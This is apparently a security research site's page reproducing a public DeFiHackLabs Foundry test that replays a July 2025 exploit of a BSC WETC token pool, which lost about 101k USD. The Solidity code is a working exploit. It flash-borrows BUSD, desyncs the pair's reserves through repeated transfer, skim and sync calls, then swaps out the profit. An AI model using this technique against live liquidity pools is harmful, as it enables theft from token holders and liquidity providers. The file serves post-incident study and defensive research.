Public reproduction file
src/test/2025-07/WETC_Token_exp.sol
Public reproduction file for dataset entry WETC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 101k USD8// Attacker : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe9// Attack Contract : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe10// Vulnerable Contract : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c68811// Attack Tx : https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d61513// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688#code16// @Analysis17// Post-mortem : https://t.me/evmhacks/78?single18// Twitter Guy : N/A19// Hacking God : N/A22contract WETC is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 54333337;24 uint256 borrowAmount = 1000000000000000000000000;26 address constant busd_wetc_cakeLP = 0x8e2cc521b12dEBA9A20EdeA829c6493410dAD0E3;27 address constant pancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;28 address constant wetc = 0xE7f12B72bfD6E83c237318b89512B418e7f6d7A7;29 address constant busd = 0x55d398326f99059fF775485246999027B3197955;30 address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;32 function setUp() public {33 vm.createSelectFork("bsc", blocknumToForkFrom);34 // Change this to the target token to get token balance of, Keep it address(0) if it's ETH35 fundingToken = address(busd);36 }38 function testExploit() public balanceLog {39 // The exploit begins by taking a large flash loan from a PancakeSwap V3 pool.40 IPancakeV3Pool(pancakeV3Pool).flash(address(this), borrowAmount, 0, "");41 }43 function pancakeV3FlashCallback(uint256 fee0, uint256, bytes memory) public {44 // The core of the exploit involves manipulating the reserves of the BUSD/WETC PancakeSwap V2 pool.45 // 1. A small initial swap is performed.46 IPancakePair(busd_wetc_cakeLP).swap(1000, 6994607918395778704138079, address(this), "0x00");48 // 2. Large amounts of WETC are directly transferred to the LP pair contract.49 // The `skim` function is then called. `skim` is designed to collect excess tokens sent to the pair contract.50 // By sending tokens and then calling skim, the attacker forces the pool's internal reserves out of sync with its actual token balances.51 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3533285263192068394666304);52 IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);53 // `sync` is called to update the reserves to the now-inflated token balances, distorting the price.54 IPancakePair(busd_wetc_cakeLP).sync();56 // This process is repeated to further manipulate the reserves.57 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 27354466553745045636126);58 IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);59 IPancakePair(busd_wetc_cakeLP).sync();61 // 3. Small amounts of BUSD and more WETC are transferred in.62 IERC20(busd).transfer(address(busd_wetc_cakeLP), 10000);63 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3433968188649965263835649);65 // 4. With the price heavily manipulated, the attacker swaps the remaining assets for a large amount of BUSD.66 IPancakePair(busd_wetc_cakeLP).swap(351495403570120114936199, 0, address(this), "");68 // 5. The flash loan is repaid with the required fee. The remaining BUSD is the profit.69 uint256 repayAmount = borrowAmount + fee0;70 IERC20(busd).transfer(address(pancakeV3Pool), repayAmount);71 } 73 function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) public {74 // This function is called by the PancakeSwap pair during the first swap.75 // The attacker uses this callback to send the flash-loaned BUSD to the pair to cover the swap input.76 IERC20(busd).transfer(address(busd_wetc_cakeLP), 250000000000000000002000);77 }78}Analysis
Dataset entry
Public Foundry test for “WETC” (2025-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
- Attack Contract
0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
- Vulnerable Contract
0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688
- Attack Tx
0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615
File record
- Name
- WETC
- Path
- src/test/2025-07/WETC_Token_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 41ebc0746fc6506ffc5660b677fd7de21d9638f9
- Language
- Solidity
- Size
- 78 lines
- Date
- 2025-07-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/WETC_Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 41ebc0746fc6506ffc5660b677fd7de21d9638f9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.